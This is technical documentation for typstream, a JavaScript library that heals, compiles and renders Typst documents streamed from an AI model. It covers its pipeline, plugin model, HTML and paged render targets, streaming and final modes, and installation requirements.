        │
        ▼
┌─ main thread ──────────────────────────────────────────────────┐
│ heal          on every chunk                                   │
│   normalize → recognize → repair tail → lint settled text      │
│         │     healed source + stable offset + source map       │
│         ▼                                                      │
│ scheduler     latest wins, one compile at a time,              │
│               every 33–500 ms (adapts to compile time)         │
└────────────────────────────────────────────────────────────────┘
        │     one diff of the healed source
        ▼
┌─ engine worker ────────────────────────────────────────────────┐
│ Typst 0.15.1 (wasm)    compile → diagnostics + artifact        │
│ Layer 3 fixers         tail-cut, pending-ref, package-stub, …  │
│ Layer 4 fallback       last good, stable prefix, error blocks  │
└────────────────────────────────────────────────────────────────┘
        │     HTML, or the changed pages (drawings or SVG)
        ▼
┌─ main thread: renderer ────────────────────────────────────────┐
│ html     sanitize → diff blocks → fade in words, caret         │
│ paged    paint changed pages, visible first → text layer       │
└────────────────────────────────────────────────────────────────┘

  watchdog (main thread): compile over budget → new worker
```

1. **Heal** (`@typstream/heal`, main thread, every chunk). The healer turns the text so far into a source that parses: it closes what is open (`[b` becomes `[b]`), drops what can't be completed yet (`#let x =`), and fixes Markdown habits such as `**bold**` in text that has settled. It works incrementally, so a token costs a fraction of a millisecond even in a long document. See [Healing](/docs/concepts/healing).
2. **Schedule** (`@typstream/engine`, main thread). Tokens arrive every few milliseconds and a compile takes 5–100 ms, so compiles are never queued. Each document has at most one compile pending, and it reads the newest healed source when its turn comes. The interval between compiles follows how long they take: small documents update about 30 times a second, big ones less often.
3. **Compile** (engine worker). A Web Worker runs Typst 0.15.1, compiled to WebAssembly (`@typstream/engine-wasm`). Only the change to the source crosses to the worker, and Typst's incremental compilation reuses what didn't change. See [The engine](/docs/concepts/engine).
4. **Fix** (engine worker, Layer 3). When a compile fails, diagnostic fixers turn the errors into edits and the worker recompiles, at most twice per revision.
5. **Fall back** (engine worker, Layer 4). What still fails is never a blank screen: the last good render stays, failing blocks become "This part couldn't be displayed" boxes, or the settled text renders with the rest as plain text. See [Fixers and fallback](/docs/concepts/fallback).
6. **Render** (`@typstream/dom`, main thread). The artifact is either Typst's HTML, which is sanitized and split into blocks so only changed blocks touch the DOM, or pages, of which only changed ones are painted on their canvases, with an invisible text layer for selection and screen readers. See [Render targets](/docs/concepts/render-targets).

A **watchdog** on the main thread times every compile. One that runs past its budget (3 s while streaming) is stopped by terminating the worker, and a spare worker that is already initialized takes over.

## Four layers of error correction

Making a streamed document render is split into four layers, cheapest first. Each one handles what the layer before it can't.

| Layer | Where | What it does |
|---|---|---|
| 0–1. Normalize and lint | heal, main thread | Strip a ```` ```typst ```` fence and a byte order mark, hold back half a surrogate pair. Fix Markdown habits and stray delimiters in settled text: `# Heading` → `= Heading`, `me@school.org` → `me\@school.org`. |
| 2. Tail repair | heal, main thread | Close the constructs still open at the end of the text, and cut incomplete ones back to where they started. The result always parses. |
| 3. Semantic fixers | engine worker | Errors only the compiler finds: cut text still being typed at the error (`tail-cut`), show a reference to a label that doesn't exist yet as a placeholder (`pending-ref`), stand in for a package that isn't available (`package-stub`), move a package import above the first use of what it imports (`hoist-import`). |
| 4. Fallback ladder | engine worker | Keep the last good render, render the settled text with the tail as plain text, or isolate failing blocks as error boxes. |

Layers 0–2 are about parsing and run on the main thread on every chunk; they need no compiler, and they are checked against Typst's own parser. Layers 3 and 4 run in the worker after a compile, because only the compiler knows that `#text()` lacks its body. Together they make nearly every prefix of a stream render: over typstream's test corpus, healing alone makes about 88% of stream prefixes compile, the fixers bring that to 99.9%, and the fallback covers the rest.

## Streaming and final mode

A document is in **streaming** mode while the model writes, and in **final** mode once it is complete (`isStreaming` turns false, or `finish()` is called). Streaming mode hides what is unfinished: the tail is repaired, still-typed text is cut, failures keep the last good render. Final mode reports what is wrong instead: no tail repair, every lint rule runs on the whole text, errors are reported, and the fallback searches the whole document. A truncated answer shows up as an error rather than being silently completed.

See [Streaming and final mode](/docs/concepts/streaming).

## Where each package sits

The packages are layered: a package imports only packages below it, and nothing below the bindings imports React.

| Layer | Packages | What they hold |
|---|---|---|
| Contracts | `@typstream/core` | Types and small utilities with no dependencies: edits, ranges, the source map, diagnostics, the worker protocol, the plugin contract, telemetry events. |
| Language | `@typstream/heal` | Normalizer, recognizer (a port of Typst 0.15.1's parser), tail repair, lint, the incremental healer. Pure TypeScript. |
| Runtime | `@typstream/engine`, `@typstream/engine-wasm`, `@typstream/node`, `@typstream/universe` | The main-thread client and the worker (scheduler, watchdog, fixers, fallback), Typst as wasm, the same engine on Node servers, and the Typst Universe packages allowed by default. |
| Content | `@typstream/edu`, `@typstream/html-compat` | Typst libraries shipped as plugins: the vocabulary for teachers' documents, and the prelude that keeps layout in the HTML target. |
| Bindings | `@typstream/dom`, `@typstream/react`, `typstream` | The framework-free renderers and `mountTypstream`, the React component, and the convenience package that wires the defaults together. |

Most apps install only `typstream`. You reach for the lower packages when you need them: `@typstream/dom` without React, `@typstream/engine` for a custom renderer, `@typstream/heal` on its own, `@typstream/node` to validate documents on a server.

<Cards>
  <Card title="Healing" href="/docs/concepts/healing">How a prefix becomes a source that parses.</Card>
  <Card title="Streaming and final mode" href="/docs/concepts/streaming">The document lifecycle and its statuses.</Card>
  <Card title="Render targets" href="/docs/concepts/render-targets">HTML or pages, and when to pick which.</Card>
  <Card title="The engine" href="/docs/concepts/engine">The worker, scheduling, the watchdog and limits.</Card>
</Cards>


# Plugins

> The plugin model that extends every typstream package at once, how plugins are ordered and scoped, and the plugins typstream ships.

Source: https://typstream.vercel.app/docs/concepts/plugins

A plugin is one plain object: a `key` plus any of a set of optional **facets**. Each typstream package reads the facets it understands and ignores the rest, so one plugin can bring Typst files to the engine, heal rules to the main thread, CSS to the renderer and documentation to your system prompt, and it keeps working when new packages add facets of their own. typstream's own extensions are plugins too.

```ts
import { definePlugin } from "@typstream/core";

export const chemistry = definePlugin({
  key: "acme/chemistry",
  dependencies: ["edu"],
  engine: {
    files: { "@acme/chemistry:1.0.0/lib.typ": LIB, "@acme/chemistry:1.0.0/typst.toml": TOML },
    preamble: '#import "@acme/chemistry:1.0.0": *',
  },
  stylesheets: [CSS],
});
```

`definePlugin` only type-checks the object; a plugin needs no code from typstream at runtime. How to write one, step by step: [Writing a plugin](/docs/guides/writing-a-plugin). Every facet's type: [`@typstream/core`](/docs/reference/core).

## Why most extensions are Typst

Teachers' documents are best described in Typst itself: a question, a blank, an answer key are Typst functions that the model calls and that render the same in both targets and in the PDF. So the heart of most plugins is a Typst library, mounted as a local package and imported by a preamble. The other facets support it: CSS for the HTML it writes, sanitizer allowances for the tags it needs, prompt text that tells the model how to call it.

## Facets and who reads them

| Facet | Read by | What it brings |
|---|---|---|
| `heal.handlers`, `heal.lint` | heal, main thread | Product-specific fixes on settled text or the healed source; overrides of built-in lint rules by id. |
| `engine.files`, `engine.preamble` | engine | Files mounted for every document (keys like `@ns/name:x.y.z/path` make a local Typst package), and Typst evaluated before the document. |
| `engine.packages` | engine | Typst Universe packages the document may import. |
| `engine.fixerModules` | engine worker | ES module URLs whose default export is a diagnostic fixer, loaded inside the worker. |
| `engine.fonts` | engine worker | Fonts; engine-wide only (see below). |
| `templates` | dom, react | Named document setups (`template="worksheet"`): a preamble and default `sys.inputs`. |
| `sanitize` | dom | Extra tags, attributes and classes the HTML sanitizer lets through. Scripts, event handlers and URL attributes stay blocked. |
| `stylesheets` | dom | CSS for the HTML the plugin's Typst writes, in the renderer and in standalone HTML exports. |
| `prompt` | your app | The function catalogue, rules and examples to give the model. |
| `islands` | the HTML renderer, `@typstream/react` | Interactive components mounted over markers the plugin's Typst writes ([Writing an island](/docs/guides/islands)). Beta. |
| `editor` | reserved | The future editor. Typed, but nothing reads it yet. |

Everything except `heal.handlers` and islands' `parse` is plain data. The `engine` facet is posted to the worker, which can't receive functions, so code that runs there is referenced by URL.

## Order, duplicates and dependencies

Plugins are resolved once, the same way everywhere (`resolvePlugins` in `@typstream/core`):

- **Order.** Plugins load in the order given, except that a plugin always comes after its `dependencies`: a dependency listed later moves up to just before the first plugin that needs it. Order matters where facets add up: preambles run in that order, a later plugin's file replaces an earlier one's at the same path, and later stylesheets come later in the cascade.
- **Duplicates.** A key given more than once loads once, as its last definition, at the place of its first. A component's plugin can override a provider's with the same key.
- **Errors.** A dependency that isn't among the plugins, a cycle, or a plugin without a key throws when the document opens. A half-loaded set of plugins would compile documents differently without anyone noticing.
- **Unknown facets** are ignored, so a plugin written for a newer typstream still loads.

## Document scope and engine scope

Plugins apply in two places:

- **Per document**: `<Typstream plugins>`, `TypstreamProvider plugins` (added to every document below it), `mountTypstream(el, { plugins })` and `engine.open({ plugins })`. A document's plugins bring their files, packages, preambles, heal handlers and lint settings, templates, sanitizer allowances, stylesheets, and fixer modules, which the worker loads for that document.
- **Per engine**: `createEngine({ plugins })`. Its plugins' worker-wide facets (`engine.fonts`, `engine.packages`, `engine.fixerModules`) are sent to every worker the engine starts, replacements included.

**Fonts are engine-only.** Fonts belong to the wasm instance that every document on the worker shares, so a document's plugin can't scope them. Give a plugin with `engine.fonts` to the engine (`createEngine({ spawn, plugins: [bengali] })`, then pass that engine to your components). A document whose plugin brings fonts the engine doesn't have logs a warning.

## Plugins typstream ships

| Plugin | Package | What it brings |
|---|---|---|
| `htmlCompat` (key `html-compat`) | `@typstream/html-compat` | The prelude that keeps grids, alignment, boxes, shapes and drawings in the HTML target: its file, preamble, sanitizer allowances and CSS. |
| `universe` | `@typstream/universe` | The Typst Universe packages allowed by default (CeTZ, fletcher, cetz-plot, physica, unify, chemformula, alchemist) as `engine.packages`, with prompt rules naming them. |
| `edu` | `@typstream/edu` | The vocabulary for teachers' documents: a local Typst package and its preamble, templates (worksheet, quiz, exam, …), CSS, and a prompt kit. |

The `typstream` package adds `htmlCompat` and `universe` before the plugins you give it (`htmlCompat={false}` and `packages={false}` turn them off). `edu` you add yourself:

```tsx
import { edu } from "@typstream/edu";
import { TypstreamProvider } from "typstream";

<TypstreamProvider plugins={[edu]}>
  <App />
</TypstreamProvider>;
```

See [Edu documents](/docs/guides/edu-documents) and [Typst packages](/docs/guides/typst-packages).


# Render targets

> The two ways typstream shows a document, semantic HTML or pages, how each one renders and updates, and which to pick.

Source: https://typstream.vercel.app/docs/concepts/render-targets

Typst compiles one source to two kinds of output, and typstream renders both. **HTML** is Typst's HTML export: semantic elements and MathML, laid out on pages that look like the paged view's. **Paged** is pages, laid out exactly as the document prints. You choose with `target`:

```tsx
<Typstream source={text} isStreaming={streaming} target="paged" />
```

Switch between them below. The document has a heading, an `#align`, a `#grid` of boxes and a display equation.

```typst
= Plant cells

#align(center)[_Two parts to label on your diagram._]

#grid(
  columns: (1fr, 1fr),
  gutter: 12pt,
  rect(width: 100%, inset: 8pt)[*Nucleus* \ holds the cell's DNA],
  rect(width: 100%, inset: 8pt)[*Chloroplast* \ turns light into sugar],
)

Photosynthesis, balanced:
$ 6 "CO"_2 + 6 "H"_2"O" -> "C"_6"H"_12"O"_6 + 6 "O"_2 $
```

## At a glance

| | HTML (`"html"`) | Paged (`"paged"`) |
|---|---|---|
| Output | Semantic HTML (`h2`, `p`, `table`, `figure`) and MathML | One canvas per page (SVG with `renderer: "svg"`) |
| Layout | Pages as the paged view's: the document's page size, margins, headers and footers, lines and page breaks where Typst puts them | As printed: the document's page size, margins, headers and footers |
| Fidelity | The paged view's, with html-compat and Typst's fonts (a few gaps below) | Identical to Typst's own output and the PDF |
| Theme | Pages look like paper | Pages look like paper |
| Text | Real text: selectable, searchable, read by screen readers | An invisible text layer over each page does the same |
| Updates | Only changed blocks are replaced | Only changed pages are redrawn, visible ones first |
| Streaming effects | Word fade-in, caret | None |
| Compile cost | Lower: no page layout | Higher: full page layout |

## HTML

The HTML target shows Typst's HTML export: headings, paragraphs, lists, tables, figures with captions, resolved references, footnotes and MathML. Its text is ordinary text, in your page's DOM. With html-compat, the renderer lays it out on pages, as the paged view shows the document: the same fonts, sizes, line breaks, spacing and page breaks, so switching between the targets changes nothing you can see.

**Sanitized.** The HTML comes from a document a model wrote, so the renderer treats it as untrusted. Each block is parsed in an inert template, cleaned against an allowlist, and those same nodes are moved into the page (nothing is serialized again). Scripts, forms, event handlers and `data-*` attributes are removed; links may only be `http(s)`, `mailto` or `#fragment`, and external ones open in a new tab (`linkTarget`); images may only be `data:` or `blob:` URLs; CSS that loads anything or uses `position: fixed` is dropped. Ids get a prefix per renderer, so two documents on one page don't clash. See [Security](/docs/guides/security).

**Block diffing.** The artifact is split into top-level blocks as a string, and a block's HTML is its identity. On each update the renderer keeps unchanged blocks, and parses, sanitizes and inserts only new ones. A streamed token usually touches one block, so an update takes about a millisecond, and text you are selecting isn't replaced underneath you.

**Source anchors.** In HTML compiles, the engine marks where each top-level block starts in the source, and the renderer records it as a `data-typstream-src` attribute on the block, so a block can be traced back to the text that made it.

<Callout type="warn" title="Beta">
The renderer's methods that read source anchors, `blockAt(offset)` and `sourceRange(node)`, are `@beta` and may change.
</Callout>

**Layout needs html-compat.** Typst 0.15.1's HTML export drops layout elements it can't express, and the text inside them: `#grid`, `#align`, `#rect`, `#place`, `#stack`, `#columns` come out empty. `@typstream/html-compat` is a Typst prelude that writes the layout Typst gives them on pages (grids placed as Typst places cells, spacing as Typst's flow collapses it, text styles, page geometry, headers and footers) and draws what only a drawing can express (curves, polygons, CeTZ canvases, equations) as inline SVG. The `typstream` package includes it; with `@typstream/react` or `@typstream/dom`, add the `htmlCompat` plugin. It doesn't change paged output.

**Fonts.** Text is set in Typst's own fonts, registered with the engine's layout profile as their line box, so lines are as tall as Typst's. `typstream` registers them, and New Computer Modern Math for MathML; with `@typstream/react` or `@typstream/dom`, pass the engine's fonts as `fonts` and the math font as `mathFont` (or call `registerTypstFonts` and `registerMathFont`).

The HTML renderer lays the document out on pages as the paged view does: page columns, a second `set page(…)`
mid-document (its numbering, margins and `counter(page).update`), inside and outside margins, headers, footers and
footnotes included. What HTML still can't show as the pages do:

- **Drawings** are SVG: their text is in an `aria-label`, not selectable. fletcher diagrams stay empty.
- **Text in a script no engine font covers** (CJK by default): the pages show boxes for it, the browser draws it in
  a font of its own. Give the engine a font for it and register the same file for the HTML target (`fonts`); a
  document that names it (`#set text(font: …)`) shows it in both. See
  [Fonts and languages](/docs/guides/fonts-and-languages).

Details: [`@typstream/html-compat`](/docs/reference/html-compat).

## Paged

The paged target shows each page as Typst lays it out: what you see is what prints, down to the page numbers. Use it wherever the document is a document: worksheets, exams, anything a teacher will print.

**Canvas pages.** The engine sends each page as drawing operations (glyph outlines, shapes, images, links), and the renderer paints them on a `<canvas>` per page. A dense page of text and math paints in about a millisecond in Chromium and Safari, and 10–15 ms in Firefox. As inline SVG, the same page took 12–31 ms per update, because the browser styles and lays out one element per glyph. The page is the same as Typst's SVG, pixel for pixel up to antialiasing.

- **Sharp at any zoom.** Canvases are painted at the screen's pixel density and painted again when it changes (browser zoom, another monitor) and after a pinch zoom settles.
- **Memory.** A page's pixels take 8–14 MB at a pixel ratio of 2, so only pages near the viewport keep them. A page that scrolls away gives them up a second later and is painted again when it comes back.
- **Printing.** Before the browser prints, every page is painted, at twice the screen's resolution or more. `exportPdf()` prints the vector PDF instead.
- **SVG where needed.** Pages with something the drawing doesn't express yet (gradients, tilings, colour emoji) come as SVG and are drawn as before. `renderer: "svg"` makes every page SVG: vector at any zoom, slower to update.

**Changed pages only.** The engine compares each page with the previous compile and sends only pages that changed, usually the last one or two while streaming. The renderer keeps one element per page and redraws a page only when it differs. Changed pages on screen are drawn at the next frame; offscreen pages and text layers wait for idle time, or are drawn as soon as they scroll into view.

**SVG pages: one shadow root each.** Typst's SVG repeats glyph definitions under the same ids on every page. Inline in one document, Chromium re-resolves every glyph reference on the page whenever one page changes, which makes long documents slow. Each SVG page lives in its own shadow root, which scopes those ids and keeps your app's CSS off the SVG.

**Text layer.** Pages draw glyphs as shapes, so invisible HTML text is laid over each page from the engine's text runs, stretched to each run's width. Selection, copy (with line breaks), find-in-page and screen readers use it, and it carries structure: headings with their level, lists, tables with rows and header cells, and the text's language and direction (Arabic reads right to left). The canvas or SVG itself is hidden from assistive technology. `textLayer: false` turns the layer off.

**Links.** Only `http(s)` and `mailto` links keep their target and open in a new tab. On a canvas page they are links laid over their text. Links within the document (to a heading or a figure) stay inert for now.

**Layouts.**

- `layout: "fixed"` (default) shows pages at their authored size, scaled down to fit the element.
- `layout: "fit-width"` shows the same pages scaled up or down to the element's width, as a PDF viewer's "fit width" does. Resizing only scales them; nothing compiles again.
- `layout: "reflow"` lays the document out again on pages as wide as the element, recompiling after a resize (150 ms after it stops), for a narrow panel where a scaled A4 page would be too small to read. Its lines and pages then break elsewhere than in the PDF. It sets the default page size, so a document with its own `#set page(paper: …)` keeps it. Pages keep A4 proportions by default, so a long document still updates page by page; `pageHeight: "auto"` makes one page as tall as the content, for short documents.

`fixed` and `fit-width` show exactly the PDF's pages (a test compares them pixel by pixel). Exports print at the document's own page size, not the reflow size.

### Layout profile

Every page the engine lays out, on screen or in a PDF, follows typstream's layout profile: settings under which Word and other word processors break lines and pages where Typst does, so a DOCX export can match the PDF and the pages on screen. The HTML target doesn't use it. In LibreOffice, a document laid out this way breaks every line and page as Typst does.

- **A constant line pitch** of 1.3 times the text size, close to Typst's default spacing.
- **Ragged right, without hyphenation**, lines filled one at a time. Word justifies and hyphenates differently from Typst, so either would move line breaks.
- **No hanging punctuation.** Typst lets a full stop at the end of a line hang into the margin, Word doesn't: a line that only fit with it would break elsewhere in Word, and a right-aligned or centred line would sit a little off.
- **Table rows stay on one page.** A row taller than a page runs off it, so long text belongs in paragraphs, not in a table cell.
- **Inline math** gets at least one line's height.
- **Display equations with line breaks** keep Typst's default spacing between their lines (the text's is set by the
  pitch).

The profile's rules win over a document's `#set par(justify: true)`, its `#set text(hyphenate: true)` or its `leading`. A document can still set the gaps between paragraphs and headings, its fonts and its sizes. Heal's [`layout-profile`](/docs/concepts/healing#lint-rules) lint rule takes out what would beat the profile: `par(justify: true)[…]` arguments and the document's own `show par: set par(…)` rules. It also squares the corners of boxes models draw around text (`block(radius: 3pt)[…]`, a small fixed radius): Word can't draw a rounded frame, so a DOCX export would have to make a picture of the box, its text no longer editable.

Plugins can step outside the profile on purpose with an element's own arguments or a show-set rule of their own. edu's answer lines do, so that written answers sit on the ruled lines.

## Which to pick

- **A document panel, a print preview, anything that will be printed: paged.** It is exactly the PDF, page breaks and all, and it is typstream's primary surface, tested and polished first.
- **Short answers inline in a chat: HTML.** It flows with the conversation, takes your theme and dark mode, animates words as they arrive, and costs less to compile and draw.

The default `target` is still `"html"`, so set `target="paged"` for a document panel; for a panel whose pages should fill its width, add `layout="fit-width"`.

You can switch at any time. Switching keeps the document and its text; the old output stays until the first compile in the new target. Whatever the preview shows, `exportPdf()` and `exportHtml()` export the same source ([Exports](/docs/guides/exports)).


# Streaming and final mode

> The lifecycle of a typstream document, from the first token to the finished answer, its statuses, what final mode changes, and how regenerating and editing work.

Source: https://typstream.vercel.app/docs/concepts/streaming

A typstream document has two modes. While the model is writing it is **streaming**: typstream hides what is unfinished and keeps the preview steady. Once the text is complete it is **final**: typstream compiles it strictly and reports what is wrong. Your app says which one applies; everything else follows from it.

## Feeding a document

There are two ways to give a document its text.

**`source`**: the whole text so far, as a string that grows. This is what a chat UI usually has (an AI SDK message's text), and it pairs with `isStreaming`. With the AI SDK, [`@typstream/ai`](/docs/reference/ai) reads both from the message:

```tsx
import { isStreaming, textOf } from "@typstream/ai";
import { Typstream } from "typstream";

<Typstream source={textOf(message)} isStreaming={isStreaming(message, chat)} animated caret />;
```

A new `source` that extends the previous one is appended; any other change replaces the text, and the healer diffs it into an edit, so it stays cheap. When `isStreaming` turns false, the document is finished.

**`stream`**: an `AsyncIterable<string>` of chunks. The document reads it to the end and finishes when it ends, so `isStreaming` is ignored. Create the stream once (in `useMemo`, for example): a new stream starts the document over.

```tsx
const stream = useMemo(() => readChunks(response), [response]);
<Typstream stream={stream} />;
```

Without React, `mountTypstream(element, options)` takes the same options and `view.update(options)` applies changes. On the engine directly, `doc.push(chunk)`, `doc.set(text)` and `doc.finish()` do the same.

## Statuses

Every document reports a status (`onStatusChange`, `useTypstream().status`, `doc.getState().status`):

| Status | Meaning |
|---|---|
| `idle` | The output shows the latest input; waiting for more. |
| `compiling` | A compile is scheduled or running. |
| `stale` | Streaming, and the latest compile failed. The output is the last good one, and it stays `stale` until a compile succeeds. |
| `error` | The finished document failed to compile, or the engine can't run. |
| `done` | The finished document compiled. |

While streaming, the status moves between `idle` and `compiling`, with `stale` when a compile fails; `stale` wins over `compiling` until a compile succeeds. When the document is finished it ends in `done` or `error`. Because the fallback isolates broken blocks, a finished document with errors often ends in `done` with error boxes in its output, and its errors in `diagnostics`.

`state.failure` says why there's no new output (`diagnostics`, `timeout`, `crash`, `too-complex`, `too-large`, `engine`), and `state.live` turns false once the watchdog has stopped live compiling. See [The engine](/docs/concepts/engine).

## What final mode changes

| | Streaming | Final |
|---|---|---|
| Healing | Tail repair closes and cuts what is unfinished. | No tail repair: what is still open is an error (`unclosed delimiter`). A truncated answer shows as an error instead of being completed. |
| Lint | Settled text only. | The whole document. |
| Fixers | `tail-cut` cuts text still being typed; `pending-ref` shows missing labels as placeholders. | No `tail-cut`. `pending-ref` still shows the placeholder, and the error is reported. |
| Fallback | Settled blocks are isolated; once compiles have failed for 1.5 s, the settled text renders with the tail as plain text. | Every failing block is isolated. A block that hangs or crashes the engine is found and skipped. As a last resort, the whole document shows as its source. |
| Watchdog | 3 s per compile; after 3 strikes live compiling stops. | 10 s per compile. A finished document always compiles once, even after live compiling stopped. |
| Caret and fade-in | Shown, if enabled. | No caret; new text appears without animation. |

Final mode is the state to save and export: `exportPdf()` and `exportHtml()` compile the same source in final mode. Edits after `finish()` still compile, in final mode.

## Regenerating

When `isStreaming` goes back to true on a finished document (the user asked to regenerate the answer), the document **starts over**: the healer resets to the new text, and watchdog strikes are forgotten. The last output stays on screen until the first compile of the new text, so there is no blank flash. On the engine, that is `doc.reset(text)`.

## Edits

A document is text plus edits, not only appends. The engine's `doc.applyEdit({ from, to, insert })` changes any part of it (offsets are UTF-16 indices into the input), and the bindings turn a `source` that isn't an extension of the previous one into an edit. The healer re-parses from the last checkpoint before the edit and stops once it is back in step, so an edit costs about as much as the text around it, not the whole document. Edits reach the worker as one diff of the healed source, right before the next compile.

## Streaming into part of a document

When a model rewrites one question of a finished document, the text being written isn't at the end. Give the part being written as a **streaming range**: `streamingRange={{ from, to }}` with `isStreaming`, in offsets of `source`. Only the range heals as text being typed. The rest of the document is settled and keeps showing as it did, while the range grows chunk by chunk:

```tsx
// The old question has been replaced with what the model has written so far.
const source = before + written + after;
<Typstream source={source} isStreaming streamingRange={{ from: before.length, to: before.length + written.length }} />;
```

- A finished document given a range goes back to streaming **without starting over**, unlike a regenerated answer. When `isStreaming` turns false, it compiles in final mode again.
- The worker's fixers cut only inside the range (`tail-cut` would otherwise take the rest of the document with the text being typed), and the [last-output rule](#the-tail-never-shows-less-than-it-did) compares only what the range wrote.
- Keep the range block-aligned: from the start of a top-level block (heal's `blockStarts`) to the end of a block's text, leaving the blank line after it outside the range. Otherwise, while the range is written, its last line runs into the next block.
- On the engine, that is `doc.setStreamingRange({ from, to })`, then edits into the range (`doc.applyEdit`), then `doc.finish()`. The healer does the same ([Healing](/docs/concepts/healing#streaming-into-the-middle-of-a-document)).

A model's edits can write into ranges for you ("rewrite question 3"), with Keep and Undo: `@typstream/ai`'s edit session finds the text each edit quotes, sets the range, and applies the edit as it streams ([Streaming edits](/docs/guides/streaming-edits)).

## The tail never shows less than it did

Healing and the `tail-cut` fixer keep a streamed prefix compiling by cutting what is still being typed. Sometimes a cut takes text that had already rendered with it. A spread such as `..rows.map(r => (r.name, r.score` is an array of arrays until its closing `.flatten()` arrives, so the fix that makes it compile drops the whole spread, and a table would lose the rows it was showing.

So while streaming, a compile that succeeds but shows less of the unsettled tail than the last output did is held back: the last output stays (status `stale`) until the tail shows as much again, or that text settles. Content doesn't flash away and back as tokens arrive. Edits before the settled point, or a reference that starts resolving, show at once. So does text that starts over: the first compile after a streaming range is set, or after the document is reset (a regenerated answer), shows what replaces the old text even if it is shorter.

## Word fade-in and the caret

Two options make streaming feel live in the HTML target:

- `animated` fades in new words as they arrive. Only new text in changed blocks animates; a block that is re-created continues its words' animation instead of popping in again. Math, drawings and images fade in whole, code blocks don't animate, and `prefers-reduced-motion` turns it off. Pass `true`, or the options below.
- `caret` shows a caret after the last text while streaming: at the end of the deepest last element holding text, such as the last table cell, never in the footnotes. It is hidden from assistive technology and disappears in final mode.

Both default to off, and neither applies to the paged target, where a changed page is swapped whole.

### AnimateOptions

Word fade-in settings.

| Prop            | Type                                                              | Description                                                                                                                                                                                                 |
| --------------- | ----------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `animation?`    | `"blurIn" \| "fadeIn" \| "slideUp" \| (string & {}) \| undefined` | Keyframes: `fadeIn` (default), `blurIn`, `slideUp`, or your own `@keyframes`, whose name must be `typstream-` followed by this value: `"pop"` plays `@keyframes typstream-pop` (add it with `stylesheets`). |
| `duration?`     | `number \| undefined`                                             | Per word, in ms. Default 150.                                                                                                                                                                               |
| `easing?`       | `string \| undefined`                                             | CSS easing. Default `ease`.                                                                                                                                                                                 |
| `stagger?`      | `number \| undefined`                                             | Delay between consecutive words, in ms. Default 40.                                                                                                                                                         |
| `sep?`          | `"char" \| "word" \| undefined`                                   | Animate by `word` (default; CJK characters count as words) or by `char`.                                                                                                                                    |
| `maxBacklogMs?` | `number \| undefined`                                             | How far ahead of wall-clock words may be scheduled, in ms; a fast stream compresses its stagger to fit, down to 4 ms per word. Default 320.                                                                 |


# Installation

> Which typstream package to install for your app, what your bundler and browsers need, and what the engine downloads and when.

Source: https://typstream.vercel.app/docs/getting-started/installation

typstream is a set of packages. Most apps need one of them; the others are for apps that render without React, run on a server, or only need part of the pipeline.

## Choose a package

| You are building | Install | You get |
|---|---|---|
| A React app (Vite, Next.js, …) | `typstream` | `<Typstream>` with the defaults an app wants: html-compat (layout survives the HTML target), the math font for MathML, and the vendored Typst packages. Also re-exports the provider, the hook, the engine and the healer. |
| An app without React | `@typstream/dom` and `@typstream/engine` | `mountTypstream`, a document in an element, and the renderers it uses. You add html-compat, the packages and the math font yourself. |
| A server that validates, renders or repairs documents | `@typstream/node` | `validate`, `render` (PDF, HTML, SVG), `formatDiagnosticsForLLM`, `fixLoop`, and a WebSocket protocol server. |
| Your own pipeline that only needs healing | `@typstream/heal` | `heal()` and `createHealer()`: any prefix of streamed Typst in, a source that parses out. Plain TypeScript, no wasm and no worker. |
| A chat on the Vercel AI SDK | `@typstream/ai`, next to one of the above | `textOf` and `isStreaming`: an assistant message as `<Typstream>`'s `source` and `isStreaming`, including answers that stop early; `textStream` for apps without React. |
| Worksheets, quizzes and exams | `@typstream/edu`, next to one of the above | The edu vocabulary (`#question`, `#mcq`, `#blank`, …) as a plugin, its CSS, and the prompt kit. |

```npm
npm install typstream
```

For an app without React, add html-compat, the packages and the engine's fonts too, so you can pass them to `mountTypstream` as `typstream` does for you (see [Without a framework](/docs/getting-started/vanilla)):

```npm
npm install @typstream/dom @typstream/engine @typstream/engine-wasm @typstream/html-compat @typstream/universe
```

`typstream` needs React 19. `@typstream/node` needs Node.js 20 or later. Every package is ESM only and ships its own types.

## Your bundler

The engine runs in a module worker, and the worker loads the Typst wasm and its fonts. All of them are referenced as `new URL("./file", import.meta.url)`, the pattern bundlers recognise to emit a file as an asset and rewrite the URL. You don't copy anything into `public/`.

- **Vite** needs no configuration. [`examples/vite-react`](https://github.com/ikramhasan/typstream/tree/main/examples/vite-react) and [`examples/vanilla`](https://github.com/ikramhasan/typstream/tree/main/examples/vanilla) are Vite apps, with React and without, whose tests build them for production and stream a document in Chromium, Firefox and WebKit.
- **Next.js** needs none either, with Turbopack or webpack. In a monorepo, Turbopack may need `turbopack.root` set to the repository root so it can follow symlinked packages; that has nothing to do with typstream.

If your bundler doesn't handle `new URL(…, import.meta.url)` for workers and assets, or you want to load the wasm and fonts from a CDN, write your own worker with `@typstream/engine/server`. See [Self-hosting the engine](/docs/guides/self-hosting).

## Browsers

typstream runs in current Chromium, Firefox and WebKit, which its tests run in. It needs:

- **Module workers** (`new Worker(url, { type: "module" })`) and **WebAssembly**. Under a Content-Security-Policy, the page needs `script-src 'wasm-unsafe-eval'` (not `'unsafe-eval'`) and `worker-src 'self'`. The whole policy is in [Security](/docs/guides/security).
- **Constructed stylesheets** (`adoptedStyleSheets`) to add the renderers' CSS without inline styles. Browsers without them (Safari before 16.4) get a `<style>` element instead, which a strict CSP refuses unless it allows `'unsafe-inline'`.
- **MathML** for math in the HTML target. The paged target draws math itself.

`IntersectionObserver`, `ResizeObserver`, `requestIdleCallback` and Cache Storage are used where they exist: without `IntersectionObserver` documents open right away instead of near the viewport, and without Cache Storage fonts and packages come from the HTTP cache. typstream doesn't need cross-origin isolation (COOP/COEP).

## What gets downloaded, and when

Your JavaScript bundle holds only the main-thread code (healer, scheduler, renderers; a few tens of KB gzipped, see [Compatibility](/docs/resources/compatibility#bundle-sizes)). The heavy parts are separate files, fetched by the worker when they are needed:

| File | Size | When |
|---|---|---|
| Worker script | ≤ 40 KB gzipped | When the engine starts: `createEngine()`, or the first `<Typstream>` or `<TypstreamProvider>` that mounts |
| Typst wasm (`engine_bg.wasm`) | about 19 MB, ≈ 6 MB with brotli | When the engine starts |
| Base fonts: Libertinus Serif, New Computer Modern Math, DejaVu Sans Mono | 3.8 MB, 1.4 MB with brotli | When the engine starts |
| The rest of Typst's bundled faces (bold italic, semibold, New Computer Modern, …) | 12 files, up to 0.7 MB brotli each | The first time a document uses one, per face |
